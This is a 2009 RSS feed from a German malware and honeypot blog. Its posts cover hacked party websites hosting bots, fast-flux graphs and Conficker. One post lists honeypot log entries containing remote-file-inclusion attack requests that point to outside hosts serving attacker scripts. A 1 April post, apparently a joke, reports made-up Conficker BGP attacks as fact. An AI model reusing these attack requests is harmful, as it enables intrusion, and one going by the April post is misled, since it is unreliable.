<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>blog.grospolina.net - malware</title>
    <link>http://blog.grospolina.net/</link>
    <description>Katsumi's weblog</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.6-alpha1 - http://www.s9y.org/</generator>
    <pubDate>Mon, 19 Oct 2009 06:13:13 GMT</pubDate>

    <image>
        <url>http://blog.grospolina.net/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: blog.grospolina.net - malware - Katsumi's weblog</title>
        <link>http://blog.grospolina.net/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>&quot;malware&quot; - Was ist das eigentlich?</title>
    <link>http://blog.grospolina.net/archives/74-malware-Was-ist-das-eigentlich.html</link>
            <category>malware</category>
            <category>OffTopic</category>
            <category>wirres</category>
    
    <comments>http://blog.grospolina.net/archives/74-malware-Was-ist-das-eigentlich.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=74</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=74</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Wegen des &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2RlLndpa2lwZWRpYS5vcmcvd2lraS9XaWtpcGVkaWE6SHVtb3JhcmNoaXYvTCVDMyVCNnNjaHdhaG4=&amp;amp;entry_id=74&quot;  onmouseover=&quot;window.status=&#039;http://de.wikipedia.org/wiki/Wikipedia:Humorarchiv/L%C3%B6schwahn&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Löschwahn&quot;&gt;Löschwahns&lt;/a&gt;&lt;br /&gt;
bin ich auf eine interessante Seite gestossen,&lt;br /&gt;
die Euch endlich mal die &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2thbWVsb3BlZGlhLm1vcm1vLm9yZy9pbmRleC5waHAvTWFsd2FyZQ==&amp;amp;entry_id=74&quot;  onmouseover=&quot;window.status=&#039;http://kamelopedia.mormo.org/index.php/Malware&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Malware&quot;&gt;Malware&lt;/a&gt; erklärt.&lt;br /&gt;
Dieser Artikel ist NICHT eineindeutig schnelllöschfähig!&lt;br /&gt;

 
    </content:encoded>

    <pubDate>Mon, 19 Oct 2009 07:59:24 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/74-guid.html</guid>
    
</item>
<item>
    <title>NPD Nordhausen hacked</title>
    <link>http://blog.grospolina.net/archives/68-NPD-Nordhausen-hacked.html</link>
            <category>botnet</category>
            <category>glastopf</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/68-NPD-Nordhausen-hacked.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=68</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=68</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    &lt;u&gt;&lt;b&gt;Webpräsenz des Kreisverbandes Nordhausen der NPD von Indonesiern übernommen&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;
&lt;i&gt;Für die Serie &quot;gehackte Parteienhomepages&quot; hat sich erfolgreich die NPD beworben.&lt;/i&gt;&lt;br /&gt;
Ein bösliches Individuum namens &quot;Anggun Pradesi&quot; aus Indonesien benutzt derzeit&lt;br /&gt;
die Homepage der NPD Nordhausen als Verteiler für bots.&lt;br /&gt;
Nachdem ich ja schon die FDP und die SPD zwischen hatte,&lt;br /&gt;
muss ich, weil ich ja unpolitisch bin, natürlich auch über diesen Fund auf unseren honeypots berichten.&lt;br /&gt;
Freundlicherweise können wir uns den Index anzeigen lassen.&lt;br /&gt;
&lt;PRE&gt;
playmobile$ wget http://www.npd-nordhausen.de/files//redaxo/
--20:02:12--  http://www.npd-nordhausen.de/files//redaxo/
           =&gt; `index.html&#039;
Resolving www.npd-nordhausen.de... 83.243.58.156
Connecting to www.npd-nordhausen.de|83.243.58.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 543 [text/html]
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;playmobile$&amp;#160;cat&amp;#160;index.html
....
&amp;#60;h1&amp;#62;Index&amp;#160;of&amp;#160;/files//redaxo&amp;#60;/h1&amp;#62;
&amp;#60;ul&amp;#62;&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;http://blog.grospolina.net/files//&quot;&amp;#62;&amp;#160;Parent&amp;#160;Directory&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;ade.txt&quot;&amp;#62;&amp;#160;ade.txt&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;admin/&quot;&amp;#62;&amp;#160;admin/&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;idade1.txt&quot;&amp;#62;&amp;#160;idade1.txt&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;idade2.txt&quot;&amp;#62;&amp;#160;idade2.txt&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;includes/&quot;&amp;#62;&amp;#160;includes/&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;index.txt&quot;&amp;#62;&amp;#160;index.txt&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
&amp;#60;li&amp;#62;&amp;#60;a&amp;#160;href=&quot;topmenu.php&quot;&amp;#62;&amp;#160;topmenu.php&amp;#60;/a&amp;#62;&amp;#60;/li&amp;#62;
....&lt;/div&gt;
playmobile$ wget http://www.npd-nordhausen.de/files//redaxo/index.txt
--18:54:28--  http://www.npd-nordhausen.de/files//redaxo/index.txt
           =&gt; `index.txt&#039;
Resolving www.npd-nordhausen.de... 83.243.58.156
Connecting to www.npd-nordhausen.de|83.243.58.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,558 (4.5K) [text/plain]

playmobile$ wget http://www.npd-nordhausen.de/files//redaxo/ade.txt
--18:52:56--  http://www.npd-nordhausen.de/files//redaxo/ade.txt
           =&gt; `ade.txt&#039;
Resolving www.npd-nordhausen.de... 83.243.58.156
Connecting to www.npd-nordhausen.de|83.243.58.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 53,181 (52K) [text/plain]

playmobile$ wget http://www.npd-nordhausen.de/files//redaxo/idade1.txt
--18:53:40--  http://www.npd-nordhausen.de/files//redaxo/idade1.txt
           =&gt; `idade1.txt&#039;
Resolving www.npd-nordhausen.de... 83.243.58.156
Connecting to www.npd-nordhausen.de|83.243.58.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 75 [text/plain]

playmobile$ wget http://www.npd-nordhausen.de/files//redaxo/idade2.txt
--18:53:47--  http://www.npd-nordhausen.de/files//redaxo/idade2.txt
           =&gt; `idade2.txt&#039;
Resolving www.npd-nordhausen.de... 83.243.58.156
Connecting to www.npd-nordhausen.de|83.243.58.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,160 (2.1K) [text/plain]

&lt;/PRE&gt;


 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/68-NPD-Nordhausen-hacked.html#extended&quot;&gt;Continue reading &quot;NPD Nordhausen hacked&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Mon, 24 Aug 2009 19:08:04 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/68-guid.html</guid>
    
</item>
<item>
    <title>Mehr FastFlux Graphiken</title>
    <link>http://blog.grospolina.net/archives/52-Mehr-FastFlux-Graphiken.html</link>
            <category>botnet</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/52-Mehr-FastFlux-Graphiken.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=52</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=52</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Ich will euch hier mal einen kleinen Nachtrag bezüglich FastFlux in Form von ein paar Graphiken,&lt;br /&gt;
die ich von &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL3JvYnRleC5jb20=&amp;amp;entry_id=52&quot;  onmouseover=&quot;window.status=&#039;http://robtex.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;robtex.com&quot;&gt;robtex.com&lt;/a&gt; &quot;ausgeschnitten&quot; habe, bieten.&lt;br /&gt;
Ich lasse diese mal unkommentiert:&lt;br /&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.grospolina.net/uploads/images/lovelifeportal.com_shared.gif&#039; target=&quot;_blank&quot;&gt;&lt;!-- s9ymdb:43 --&gt;&lt;img width=&quot;90&quot; height=&quot;64&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.grospolina.net/uploads/images/lovelifeportal.com_shared.serendipityThumb.gif&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;loveliveportal.com shared&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.grospolina.net/uploads/images/18.82.8.163_shared.gif&#039; target=&quot;_blank&quot;&gt;&lt;!-- s9ymdb:44 --&gt;&lt;img width=&quot;90&quot; height=&quot;76&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.grospolina.net/uploads/images/18.82.8.163_shared.serendipityThumb.gif&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;i&gt;18.82.8.163 shared&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;
Alle Graphiken sind nur Momentaufnahmen.&lt;br /&gt;
Ich hoffe ihr findet diese interessant!&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/52-Mehr-FastFlux-Graphiken.html#extended&quot;&gt;Continue reading &quot;Mehr FastFlux Graphiken&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Wed, 10 Jun 2009 09:35:14 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/52-guid.html</guid>
    
</item>
<item>
    <title>Conficker_Hype - nächster Teil (#2)</title>
    <link>http://blog.grospolina.net/archives/44-Conficker_Hype-naechster-Teil-2.html</link>
            <category>botnet</category>
            <category>malware</category>
            <category>wirres</category>
    
    <comments>http://blog.grospolina.net/archives/44-Conficker_Hype-naechster-Teil-2.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=44</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=44</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    &lt;b&gt;Teil2:&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Fortsetzung von:&lt;/i&gt; &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2Jsb2cuZ3Jvc3BvbGluYS5uZXQvYXJjaGl2ZXMvNDMtQ29uZmlja2VyX0h5cGUtbmFlY2hzdGVyLVRlaWwtMS5odG1s&amp;amp;entry_id=44&quot;  onmouseover=&quot;window.status=&#039;http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html&quot;&gt;http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html&lt;/a&gt;&lt;br /&gt;
Robtex kann tolle Grafiken machen.&lt;br /&gt;
...inwieweit man den Grafiken und den Daten allgemein vertrauen kann, sei einmal dahingestellt.&lt;br /&gt;
Ich hab mir abgewöhnt weiter mails an solche Leute zu schreiben, ein Hinweis sollte reichen,&lt;br /&gt;
wie sich die Einträge in der robtex db durch nicht RFC konforme Nameserver beeinflussen lassen.&lt;br /&gt;

Nun aber die Bildchen:&lt;br /&gt;

&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.grospolina.net/uploads/images/Cambridge_FastFlux1.gif&#039; target=&quot;_blank&quot;&gt;&lt;!-- s9ymdb:31 --&gt;&lt;img width=&quot;90&quot; height=&quot;59&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.grospolina.net/uploads/images/Cambridge_FastFlux1.serendipityThumb.gif&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;i&gt;Cambridge FastFlux1&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;
Dort wollten wir aber gar nicht hin? Wir wollten doch über...&lt;br /&gt;
Wiedem auch sei, das hier ist eine ebenfalls schicke Grafik eines Knoten im Netzes:&lt;br /&gt;
&lt;!-- s9ymdb:32 --&gt;&lt;img width=&quot;791&quot; height=&quot;416&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.grospolina.net/uploads/images/ns_wapcitynews_com.gif&quot; alt=&quot;wapcity&quot; /&gt;
&lt;i&gt;wapcity&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Insgesamt sieht das Netz dort sehr fein aus, da muss man mit der Zunge schnalzen ;)&lt;br /&gt;
Aber im allgemeinen kann ich nicht verstehen, warum 6 Nameserver benutzt werden.&lt;br /&gt;
Der freundliche Herr Euler sagt, wenn wir stattdessen nur 5 benutzen, &lt;br /&gt;
würden wir keine Pfade mehr haben, die ins Leere laufen.&lt;br /&gt;
Sofern praktisch alle benutzten IPs miteinander Brücken bauen mit Hilfe dieser lustigen NS-Rekursion,&lt;br /&gt;
in derer immer 6 neue Nameserver in der Zone sind, wobei das parent in der Delegation vermisst wird,&lt;br /&gt;
ich meine ich bin ja kein Mathematiker, aber ich halte das für einen Schwachpunkt dieses Netzes.&lt;br /&gt;

&lt;b&gt;UND?&lt;/b&gt; Was ist jetzt passiert?&lt;br /&gt;
Ich schreib hier wirres Zeug über Königsberg und habe dabei vergessen,&lt;br /&gt;
was hier in der Überschrift steht.&lt;br /&gt;
Die lachen sich währenddessen mit Sicherheit kaputt über die Experten.&lt;br /&gt;
Alle forschen fleissig.&lt;br /&gt;
Leute, das ist &lt;i&gt;business&lt;/i&gt;, die ganze Struktur ist nicht nur einem genialen Kopf entsprungen,&lt;br /&gt;
der mit Sicherheit viel Geld dafür kassiert hat, sondern vielen, die sich mehr oder weniger kennen, vielleicht gar nicht.&lt;br /&gt;
Wenn die Experten sich Personen hinter den Zweigen dessen, was sie als Verzweigung vermuten, vorstellen könnten,&lt;br /&gt;
dann könnten sich diese eventuell irgendwann mal ein Bild davon machen.&lt;br /&gt;
Wenn auch nur IHR Bild. &lt;br /&gt;
Ausserdem kann solch ein Projekt durchaus durch Eigendynamik beeinflusst werden,&lt;br /&gt;
und wenn ich selber nicht sagen kann, warum das nun so funktioniert hat,&lt;br /&gt;
aber wenn ich mich an gewisse Regeln und Vorgehensweisen halte,&lt;br /&gt;
wodurch dies reproduzierbar &lt;b&gt;bleibt&lt;/b&gt;, und die Experten immer nur analysieren, was sie bekommen,&lt;br /&gt;
dann brauche ich mir niemals Sorgen zu machen, dass die &quot;Experten der Analyse&quot; auch jemals eine Struktur nur erahnen könnten.&lt;br /&gt;

&lt;br /&gt;und deshalb sagt kat:&lt;br /&gt;
Abschalten ;)&lt;br /&gt;

 
    </content:encoded>

    <pubDate>Fri, 10 Apr 2009 14:12:56 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/44-guid.html</guid>
    
</item>
<item>
    <title>Conficker_Hype - nächster Teil (#1)</title>
    <link>http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html</link>
            <category>botnet</category>
            <category>malware</category>
            <category>wirres</category>
    
    <comments>http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=43</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=43</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Tja, da gehen die sog. Experten hin und registrieren sich domains die der Conficker-Wurm anlegen wird,&lt;br /&gt;
um ein Update zu Verhindern, was ja eh aussichtlos erscheinen musste,&lt;br /&gt;
und dann geht der sucker hin und macht etwas vollkommen anderes.&lt;br /&gt;
Jede noch so falsche Information wird in diesen hype verwertet.&lt;br /&gt;
Bei den AVs, in den weblogs und .. überall.&lt;br /&gt;
Hat sich denn jemand mal die Mühe gemacht das gegenzuprüfen?&lt;br /&gt;
Nein?
...und der Rest der schreibenden Zunft macht was?&lt;br /&gt;
Abschreiben?&lt;br /&gt;
Nehmen wir einmal den Artikel auf Heise Security:&lt;br /&gt;
&lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL3d3dy5oZWlzZS5kZS9zZWN1cml0eS9Db25maWNrZXItV3VybS1sYWVkdC1qZXR6dC1kb2NoLW5hY2gtLS9uZXdzL21lbGR1bmcvMTM2MDA1&amp;amp;entry_id=43&quot;  onmouseover=&quot;window.status=&#039;http://www.heise.de/security/Conficker-Wurm-laedt-jetzt-doch-nach--/news/meldung/136005&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://www.heise.de/security/Conficker-Wurm-laedt-jetzt-doch-nach--/news/meldung/136005&quot;&gt;http://www.heise.de/security/Conficker-Wurm-laedt-jetzt-doch-nach--/news/meldung/136005&lt;/a&gt;&lt;br /&gt;
Dort beginnt es so: &quot;Nach Angaben von...&quot;&lt;br /&gt;
und das der Wurm aus Korea nachgeladen hat.&lt;br /&gt;
Dort wird verwiesen auf &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2Jsb2cudHJlbmRtaWNyby5jb20vZG93bmFkY29uZmlja2VyLXdhdGNoLW5ldy12YXJpYW50LWluLXRoZS1taXgv&amp;amp;entry_id=43&quot;  onmouseover=&quot;window.status=&#039;http://blog.trendmicro.com/downadconficker-watch-new-variant-in-the-mix/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://blog.trendmicro.com/downadconficker-watch-new-variant-in-the-mix/&quot;&gt;http://blog.trendmicro.com/downadconficker-watch-new-variant-in-the-mix/&lt;/a&gt;&lt;br /&gt;
und&lt;br /&gt;
&lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2NvdW50ZXJtZWFzdXJlcy50cmVuZG1pY3JvLmV1L25ldy1kb3duYWRjb25maWNrZXItdmFyaWFudC1zcHJlYWRpbmctb3Zlci1wMnAv&amp;amp;entry_id=43&quot;  onmouseover=&quot;window.status=&#039;http://countermeasures.trendmicro.eu/new-downadconficker-variant-spreading-over-p2p/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://countermeasures.trendmicro.eu/new-downadconficker-variant-spreading-over-p2p/&quot;&gt;http://countermeasures.trendmicro.eu/new-downadconficker-variant-spreading-over-p2p/&lt;/a&gt;&lt;br /&gt;
Aha. &lt;br /&gt;
Was lesen wir da?&lt;br /&gt;
Oh, unser sucker lädt auch eine Datei namens &quot;fuck4.exe&quot; von goodnewsdigital.com ?&lt;br /&gt;
Die erste Ip die mir angeboten wurde war tatsächlich in Korea beherbergt.&lt;br /&gt;
Mir ist aber auch gelungen, das &quot;Massachusets Institut of Technology&quot; damit in Verbindung zu bringen.&lt;br /&gt;
Wie das kann?&lt;br /&gt;
&lt;br /&gt;

 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/43-Conficker_Hype-naechster-Teil-1.html#extended&quot;&gt;Continue reading &quot;Conficker_Hype - nächster Teil (#1)&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Fri, 10 Apr 2009 10:53:00 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/43-guid.html</guid>
    
</item>
<item>
    <title>Conficker legt Teile asiatischer Netze lahm [Update]</title>
    <link>http://blog.grospolina.net/archives/41-Conficker-legt-Teile-asiatischer-Netze-lahm-Update.html</link>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/41-Conficker-legt-Teile-asiatischer-Netze-lahm-Update.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=41</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=41</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Scheinbar hat der &lt;i&gt;hype&lt;/i&gt; um den Conficker-Wurm gefruchtet.&lt;br /&gt;
Es konnten, wie Experten,wie etwa Tillmann Werner uns mit Informationen versorgt hat,&lt;br /&gt;
berichten, dass nur wenige Updates im Verhältnis zur Grösse des Netzes ausgeführt werden.&lt;br /&gt;
&lt;br /&gt;
Speziell das &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2lzYy5zYW5zLm9yZw==&amp;amp;entry_id=41&quot;  onmouseover=&quot;window.status=&#039;http://isc.sans.org&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;ISC&quot;&gt;Internet Storm Center&lt;/a&gt; beschäftigt sich seit einiger Zeit mit diesem Wurm.&lt;br /&gt;
Es konnten massive Angriffsversuche auf sogenannte &lt;i&gt;Border Gateways&lt;/i&gt; der &lt;i&gt;Autonomen Systeme (AS)&lt;/i&gt;&lt;br /&gt;
im asiatischen Raum beobachtet werden.&lt;br /&gt;
Die Angriffe obliegen dem &lt;i&gt;Border Gateway Protocol (BGP)&lt;/i&gt;,&lt;br /&gt;
welches auf Port 179 sowohl als TCP und UDP - Port horcht.&lt;br /&gt;
Der Wurm versucht auf nicht gesicherten Routern fehlerhafte Routen beizufügen,&lt;br /&gt;
womit es möglich ist, auch Netze auf anderen Kontinenten erheblich zu stören.&lt;br /&gt;
Falls die Aktivitäten weiter ansteigen,&lt;br /&gt;
haben wir mit einigen Teilausfällen grosser Provider in den nächsten Stunden zu rechnen.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Update:&lt;/u&gt; Es scheinen grosse Teile Chinas und Korea betroffen zu sein,&lt;br /&gt;
 allerdings war auch das komplette Netz von honeynet.cz durch einen fehlkonfigurierten Router in Tschechien betroffen.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Update:&lt;/u&gt;&lt;h2&gt;Der 1. April ist vorrüber, aber was ist mit dem &quot;&lt;i&gt;Conficker_Hype&lt;/i&gt;&quot;?&lt;/h2&gt;&lt;br /&gt;
&lt;br /&gt;
kat sagt: &lt;br /&gt;
&quot;Abschalten!&quot; ;) 
    </content:encoded>

    <pubDate>Wed, 01 Apr 2009 15:50:40 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/41-guid.html</guid>
    
</item>
<item>
    <title>[glastopf] uni-bs.de &amp; 134.*</title>
    <link>http://blog.grospolina.net/archives/37-glastopf-uni-bs.de-134..html</link>
            <category>glastopf</category>
            <category>honeypot</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/37-glastopf-uni-bs.de-134..html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=37</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=37</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Ich teste grade ein paar Suchen für das WI vom glastopf...&lt;br /&gt;
Gerade fertig geworden ist die Suche nach IPs.&lt;br /&gt;
Dort habe ich mal &quot;134* &quot; eingegeben...&lt;br /&gt;
..und auf Grund andauernder Ignoranz, werde ich ab und zu mal was veröffentlichen.&lt;br /&gt;
Die Technische Universität Braunschweig mit ihrer Präsenz als &quot;tu-bs.de&quot;&lt;br /&gt;
erwies sich als abuse-mail resistent.&lt;br /&gt;
...öhm..neee... da ist ja gar keine addy angegeben wo man sein abuse kram hinschicken kann..??&lt;br /&gt;
&lt;i&gt;Dolce Far Niente&lt;/i&gt;&lt;b&gt; :p&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;


&lt;PRE&gt;
IP  	134.169.6.100
Domain 	rzv100.rz.tu-bs.de
Time 	2009-03-03 11:57:27
Request 	/order/login.php?svr_rootscript=http://www.culturaemacao.art.br/web/alb??
File 	da1e4c6b6f575e70c6a0a00a839a9c74
Count 	5
Compromised 	culturaemacao.art.br
Attacks from IP 	3

IP  	134.169.6.60
Domain 	rzv060.rz.tu-bs.de
Time 	2009-02-24 11:08:41
Request 	//poll/png.php?include_path=http://geocities.com/mala23173/bajo-spread.txt??
File 	e7351a69f86ec138ef3e018891f6ce4a
Count 	2
Compromised 	geocities.com
Attacks from IP 	47

IP  	134.106.40.151
Domain 	websrv01.uni-oldenburg.de
Time 	2009-02-23 01:47:08
Request //administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=http://www.kbmaeil.com/kboard/test.txt??
File 	4e3f79cee97fc7404bc0b65abb77f80d
Count 	1
Compromised 	kbmaeil.com
Attacks from IP  	7

IP  	134.173.238.144
Domain 	134.173.238.144
Time 	2009-03-03 08:46:54
Request /index.php?redir=http://mebelbox.home.pl/flash/elite/safe1.txt???
File 	6f223436a4a4ea9b64474a04afa9a9b2
Count 	3
Compromised 	mebelbox.home.pl
Attacks from IP 	94
&lt;PRE&gt;
 
    </content:encoded>

    <pubDate>Fri, 06 Mar 2009 03:56:04 +0100</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/37-guid.html</guid>
    
</item>
<item>
    <title>[malware]Webauftritt des SPD Ortsverbandes Esens verteilt immer noch pbots</title>
    <link>http://blog.grospolina.net/archives/34-malwareWebauftritt-des-SPD-Ortsverbandes-Esens-verteilt-immer-noch-pbots.html</link>
            <category>honeypot</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/34-malwareWebauftritt-des-SPD-Ortsverbandes-Esens-verteilt-immer-noch-pbots.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=34</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=34</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    In dem &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2Jsb2cuZ3Jvc3BvbGluYS5uZXQvYXJjaGl2ZXMvMzAtV2Vic2VpdGUtZGVzLVNQRC1PcnRzdmVyYmFuZGVzLUVzZW5zLU5vcmQtZ2VoYWNrdC5odG1s&amp;amp;entry_id=34&quot;  onmouseover=&quot;window.status=&#039;http://blog.grospolina.net/archives/30-Webseite-des-SPD-Ortsverbandes-Esens-Nord-gehackt.html&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://blog.grospolina.net/archives/30-Webseite-des-SPD-Ortsverbandes-Esens-Nord-gehackt.html&quot;&gt;Artikel vom 12.Oktober 2008&lt;/a&gt; könnt Ihr lesen,&lt;br /&gt;
dass die Webseite des SPD Ortsverbandes Esens gehackt wurde.&lt;br /&gt;
Heute, am 11. Dezember sieht es nicht besser aus.&lt;br /&gt;
NIEMANDen interessiert, was dort auf der Seite zum Herunterladen abgelegt wurde!&lt;br /&gt;
Doch! Mich interessiert es!&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/34-malwareWebauftritt-des-SPD-Ortsverbandes-Esens-verteilt-immer-noch-pbots.html#extended&quot;&gt;Continue reading &quot;[malware]Webauftritt des SPD Ortsverbandes Esens verteilt immer noch pbots&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 11 Dec 2008 02:07:18 +0100</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/34-guid.html</guid>
    
</item>
<item>
    <title>Holz aus Brasilien - this is fuckin cr4nk</title>
    <link>http://blog.grospolina.net/archives/32-Holz-aus-Brasilien-this-is-fuckin-cr4nk.html</link>
            <category>malware</category>
            <category>wirres</category>
    
    <comments>http://blog.grospolina.net/archives/32-Holz-aus-Brasilien-this-is-fuckin-cr4nk.html#comments</comments>
